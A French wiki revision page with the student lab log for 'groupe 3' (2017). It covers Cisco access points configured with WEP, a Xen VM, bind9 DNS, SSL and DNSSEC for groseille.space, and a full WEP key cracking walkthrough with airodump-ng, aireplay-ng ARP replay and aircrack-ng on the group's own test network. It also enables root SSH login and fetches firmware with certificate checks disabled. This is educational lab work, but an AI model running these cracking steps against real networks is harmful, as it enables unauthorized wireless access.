Cahier 2017 groupe n°3 : Différence entre versions
(→Création de la VM) |
(→séances supplémentaires) |
||
(25 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 38 : | Ligne 38 : | ||
*Configuration de gandi et de notre serveur dns avec bind9 | *Configuration de gandi et de notre serveur dns avec bind9 | ||
− | ==== | + | ==== séances supplémentaires ==== |
*Sécurisation de site web par certificats | *Sécurisation de site web par certificats | ||
*Sécurisation de site web par dnssec | *Sécurisation de site web par dnssec | ||
+ | *crackage de clef WEP | ||
=== Configuration d'un point d'accès=== | === Configuration d'un point d'accès=== | ||
Ligne 73 : | Ligne 74 : | ||
ap#write memory | ap#write memory | ||
+ | |||
+ | |||
+ | === Craquage de clé WEP === | ||
+ | ==== Établissement de connexion ==== | ||
+ | Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear): | ||
+ | *Afficher les dispositif connecté à l'ordinateur par USB: | ||
+ | lsusb | ||
+ | *On récupère les informations représentant la clef, ici '''Intersil ISL3887'''. | ||
+ | *Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54] | ||
+ | <pre> | ||
+ | wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate | ||
+ | mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb | ||
+ | modprobe -r p54usb ; modprobe p54usb | ||
+ | </pre> | ||
+ | *On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''. | ||
+ | |||
+ | |||
+ | Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane): | ||
+ | <pre> | ||
+ | auto <nom de l'interface (wlx000fb592236a)> | ||
+ | iface <nom de l'interface> inet static | ||
+ | address <adresse IP qu'on donne à ce réseau (10.2.0.100)> | ||
+ | netmask <masque (255.255.0.0)> | ||
+ | wireless-essid <essid (banane)> | ||
+ | wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)> | ||
+ | </pre> | ||
+ | Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration: | ||
+ | <pre> | ||
+ | ifdown <nom de l'interface> | ||
+ | ifup <nom de l'interface> | ||
+ | </pre> | ||
+ | La connexion doit maintenant être établie. | ||
+ | |||
+ | ==== Craquage du mot de passe ==== | ||
+ | *La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande ''Nping'': | ||
+ | <pre> | ||
+ | nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2 | ||
+ | |||
+ | # --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut | ||
+ | # -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé. | ||
+ | # 10.2.0.2 est l'addresse IP du point d'accès . | ||
+ | </pre> | ||
+ | *Nous allons faire passer la clef Wi-fi en mode moniteur | ||
+ | airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec ''iwconfig'') | ||
+ | *En refaisant un ''iwconfig'', on remarque que le nom de notre clef Wi-fi est maintenant '''wlan0mon'''. | ||
+ | *Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID. | ||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | [[Fichier:groseilleAirodump-ng.png|600px|thumb|center|Résultat de la commande airodump en filtrant pour le réseau à craquer.]] | ||
+ | |||
+ | *On va maintenant surveiller le réseau et capturer les informations qui circule. | ||
+ | <pre> | ||
+ | airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon | ||
+ | # -c 3 précise que le réseau est sur le channel 3. | ||
+ | # -w crack_wep est le fichier qui va stocker les paquets capturé. | ||
+ | </pre> | ||
+ | *En parallèle de la commande airodump-ng, nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data). | ||
+ | <pre> | ||
+ | aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon | ||
+ | # -3 précise un ARP Request Replay Attack. | ||
+ | # 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau. | ||
+ | </pre> | ||
+ | *Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous: | ||
+ | aircrack-ng crack_wep-02.cap | ||
+ | [[Fichier:GroseilleCrackWEPsuccessfull.png|600px|thumb|center|Résultat de craquage de clé WEP.]] | ||
=== Partie commune=== | === Partie commune=== | ||
Ligne 99 : | Ligne 165 : | ||
==== Mise en place des services internet ==== | ==== Mise en place des services internet ==== | ||
+ | |||
+ | ===== Serveur dns ===== | ||
+ | |||
+ | On installe notre outil de serveur web et de serveur de DNS | ||
+ | |||
+ | apt-get install apache2 | ||
+ | apt-get install bind9 | ||
+ | |||
+ | |||
+ | On se place dans le dossier : /etc/bind et | ||
+ | on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183) | ||
+ | |||
+ | |||
+ | [[Fichier:db.groseille.space.png|600px]] | ||
+ | |||
+ | ps : Correction faite après coup : Ajout de la ligne : | ||
+ | |||
+ | IN NS ns6.gandi.net. | ||
+ | |||
+ | |||
+ | |||
+ | Et on spécifie notre zone dans le fichier named.conf.local | ||
+ | |||
+ | |||
+ | [[Fichier:Groseille_named.conf.local.png|600px]] | ||
+ | |||
+ | On redémarre le service pour appliquer les changements: | ||
+ | |||
+ | service bind9 restart | ||
+ | |||
+ | Et on configure le nom de dns sur le site de gandi. | ||
+ | Dans name servers : | ||
+ | |||
+ | DNS1 : ns.groseille.space | ||
+ | DNS2 : ns6.gandi.net | ||
+ | |||
+ | Dans Glue records: | ||
+ | |||
+ | [[Fichier:Groseille_glue_records.png|1000px]] | ||
===== Serveur ssh ===== | ===== Serveur ssh ===== | ||
− | + | Pour installer le service, nous installons tout d'abords le package openssh-server | |
+ | |||
+ | apt-get install openssh-server | ||
+ | |||
+ | Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root. | ||
+ | |||
+ | vim /etc/ssh/sshd_config | ||
+ | |||
+ | et tapez ou décommentez: | ||
+ | |||
+ | PermitRootLogin yes | ||
− | + | On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant: | |
− | + | ssh root@www.groseille.space | |
− | |||
===== Sécurisation de site web par certificats ===== | ===== Sécurisation de site web par certificats ===== | ||
+ | Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr. | ||
+ | On le générera comme ceci: | ||
+ | |||
+ | openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr | ||
+ | |||
+ | On remplira par la suite les informations ci-dessous: | ||
+ | |||
+ | Country Name (2 letter code) [AU]:FR | ||
+ | State or Province Name (full name) [Some-State]:Nord | ||
+ | Locality Name (eg, city) []:Villeneuve d'ascq | ||
+ | Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space | ||
+ | Organizational Unit Name (eg, section) []:groseille.space | ||
+ | Common Name (e.g. server FQDN or YOUR name) []:groseille.space | ||
+ | |||
+ | |||
+ | En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine. | ||
+ | |||
+ | [[Fichier:Gandi_3options.png|300px]] | ||
+ | |||
+ | Nous avons donc téléchargé le fichier et collé dans : | ||
+ | |||
+ | var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt | ||
+ | |||
+ | |||
+ | Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www. | ||
+ | Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind: | ||
+ | |||
+ | @ IN A 193.48.57.183 | ||
+ | |||
+ | |||
+ | Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés: | ||
+ | |||
+ | cp groseille.space.key /etc/ssl/private/. | ||
+ | cp GandiStandardSSLCA2.pem /etc/ssl/certs/. | ||
+ | cp groseille.space.crt /etc/ssl/certs/. | ||
+ | |||
+ | c_rehash /etc/ssl/certs | ||
+ | |||
+ | On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf | ||
+ | |||
+ | [[Fichier:GroseilleApache.png|600px]] | ||
+ | |||
+ | On écrira dans ports.conf de apache : | ||
+ | |||
+ | Listen 80 443 | ||
+ | |||
+ | <IfModule ssl_module> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | On activera le module SSL de Apache et notre site avec ces commandes: | ||
+ | |||
+ | a2enmod ssl | ||
+ | a2ensite 000-groseille.space-ssl.conf | ||
+ | service apache2 reload | ||
===== Sécurisation de site web par dnssec ===== | ===== Sécurisation de site web par dnssec ===== | ||
+ | |||
+ | On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine. | ||
+ | |||
+ | Dans le fichier : named.conf.options on ajoutera l'option: | ||
+ | |||
+ | dnssec-enable yes; | ||
+ | |||
+ | On créera le répertoire groseille.space.dnssec pour y générer les clefs. | ||
+ | |||
+ | Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements. | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space | ||
+ | |||
+ | On les renommera pour avoir : | ||
+ | |||
+ | groseille.space-ksk.key | ||
+ | groseille.space-ksk.private | ||
+ | groseille.space-zsk.key | ||
+ | groseille.space-zsk.private | ||
+ | |||
+ | On modifiera le fichier /etc/bind/db.groseille.space comme ceci : | ||
+ | |||
+ | $include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key | ||
+ | $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key | ||
+ | |||
+ | Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec) | ||
+ | |||
+ | dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk | ||
+ | |||
+ | On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed | ||
+ | |||
+ | Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations. | ||
+ | On pourra vérifier les modifications grâce aux commandes: | ||
+ | |||
+ | grep 217.70.177.40 /var/log/daemon.log | ||
+ | host -t any groseille.space ns6.gandi.net | ||
+ | for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done |
Version actuelle datée du 15 janvier 2018 à 13:12
Sommaire
Configuration des points d'accès wifi
présentation
Schéma du réseau:
Notre objectif est de mettre en place une VM sur le serveur Cordouan et d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire un banc de test et de tester la sécurité des chiffrements WEP et WPA.
avancement du travail
séance 1
- Explication du projet
- Répartition du travail dans les différents groupes
- Gestion des adresses ip de chacun
séance 2
- Exploration des locaux techniques de Polytech
- Création de la VM Xen sur le serveur Cordouan
- installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind
- Achat du domaine :
séance 3
- Mise en place des 2 premiers points d'accès wifi.
- Avancement dans la compréhension de l'utilisation de la clef wifi
séance 4
- Mise en place des 5 derniers points d'accès wifi.
- Connexion faite entre la machine avec la clef wifi et le point d'accès.
- Configuration de gandi et de notre serveur dns avec bind9
séances supplémentaires
- Sécurisation de site web par certificats
- Sécurisation de site web par dnssec
- crackage de clef WEP
Configuration d'un point d'accès
Commencer par se mettre en mode configuration:
ap>enable ap#configure terminal
La configuration pour un point d'accès pour une sécurisation WEP est donc:
ap(config)#dot11 ssid tomate ap(config-ssid)#authentication open ap(config-ssid)#vlan 8 ap(config-ssid)#mbssid guest-mode ap(config-ssid)#exit ap(config)#Interface dot11radio0 ap(config)#ssid tomate ap(config-ssid)#no shutdown ap(config-ssid)#Encryption vlan 8 mode wep mandatory ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505 ap(config-ssid)#End
Écrire les modifications:
ap#write memory
Configurer le sous interface pour Dot11 radio 0 et Ethernet.
ap#configure terminal ap(config)#interface Dot11Radio0.8 ap(config-subif)#encapsulation dot1Q 8 ap(config-subif)#bridge-group 8 ap(config-subif)#interface GigabitEthernet0.8 ap(config-subif)#encapsulation dot1Q 8 ap(config-subif)#bridge-group 8 ap(config-subif)#end ap#write memory
Craquage de clé WEP
Établissement de connexion
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant iwconfig). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):
- Afficher les dispositif connecté à l'ordinateur par USB:
lsusb
- On récupère les informations représentant la clef, ici Intersil ISL3887.
- Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [1]
wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb modprobe -r p54usb ; modprobe p54usb
- On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec iwconfig.
Une fois le driver installé, on configure le fichier /etc/network/interfaces pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):
auto <nom de l'interface (wlx000fb592236a)> iface <nom de l'interface> inet static address <adresse IP qu'on donne à ce réseau (10.2.0.100)> netmask <masque (255.255.0.0)> wireless-essid <essid (banane)> wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)>
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:
ifdown <nom de l'interface> ifup <nom de l'interface>
La connexion doit maintenant être établie.
Craquage du mot de passe
- La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande Nping:
nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2 # --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut # -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé. # 10.2.0.2 est l'addresse IP du point d'accès .
- Nous allons faire passer la clef Wi-fi en mode moniteur
airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec iwconfig)
- En refaisant un iwconfig, on remarque que le nom de notre clef Wi-fi est maintenant wlan0mon.
- Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.
airodump-ng wlan0mon
- On va maintenant surveiller le réseau et capturer les informations qui circule.
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon # -c 3 précise que le réseau est sur le channel 3. # -w crack_wep est le fichier qui va stocker les paquets capturé.
- En parallèle de la commande airodump-ng, nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon # -3 précise un ARP Request Replay Attack. # 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau.
- Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:
aircrack-ng crack_wep-02.cap
Partie commune
Création de la VM
Pour suivre le thème de la promo qui porte sur les fruits, nous avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.
Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.
Pour cela on utilisera les commandes :
- xen-create-image pour créer la machine virtuelle
- lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.
Une fois la machine virtuelle crée, on créera la session avec:
xl create IMA5-GROSEILLE.cfg
dans le repertoire /etc/xen
et :
xl console IMA5-GROSEILLE
pour accéder à la VM.
Mise en place des services internet
Serveur dns
On installe notre outil de serveur web et de serveur de DNS
apt-get install apache2 apt-get install bind9
On se place dans le dossier : /etc/bind et
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)
ps : Correction faite après coup : Ajout de la ligne :
IN NS ns6.gandi.net.
Et on spécifie notre zone dans le fichier named.conf.local
On redémarre le service pour appliquer les changements:
service bind9 restart
Et on configure le nom de dns sur le site de gandi. Dans name servers :
DNS1 : ns.groseille.space DNS2 : ns6.gandi.net
Dans Glue records:
Serveur ssh
Pour installer le service, nous installons tout d'abords le package openssh-server
apt-get install openssh-server
Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.
vim /etc/ssh/sshd_config
et tapez ou décommentez:
PermitRootLogin yes
On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:
ssh root@www.groseille.space
Sécurisation de site web par certificats
Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr. On le générera comme ceci:
openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr
On remplira par la suite les informations ci-dessous:
Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Villeneuve d'ascq Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space Organizational Unit Name (eg, section) []:groseille.space Common Name (e.g. server FQDN or YOUR name) []:groseille.space
En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.
Nous avons donc téléchargé le fichier et collé dans :
var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt
Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:
@ IN A 193.48.57.183
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:
cp groseille.space.key /etc/ssl/private/. cp GandiStandardSSLCA2.pem /etc/ssl/certs/. cp groseille.space.crt /etc/ssl/certs/.
c_rehash /etc/ssl/certs
On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf
On écrira dans ports.conf de apache :
Listen 80 443
<IfModule ssl_module> Listen 443 </IfModule>
On activera le module SSL de Apache et notre site avec ces commandes:
a2enmod ssl a2ensite 000-groseille.space-ssl.conf service apache2 reload
Sécurisation de site web par dnssec
On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.
Dans le fichier : named.conf.options on ajoutera l'option:
dnssec-enable yes;
On créera le répertoire groseille.space.dnssec pour y générer les clefs.
Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space
On les renommera pour avoir :
groseille.space-ksk.key groseille.space-ksk.private groseille.space-zsk.key groseille.space-zsk.private
On modifiera le fichier /etc/bind/db.groseille.space comme ceci :
$include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key
Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)
dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk
On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed
Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations. On pourra vérifier les modifications grâce aux commandes:
grep 217.70.177.40 /var/log/daemon.log host -t any groseille.space ns6.gandi.net for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done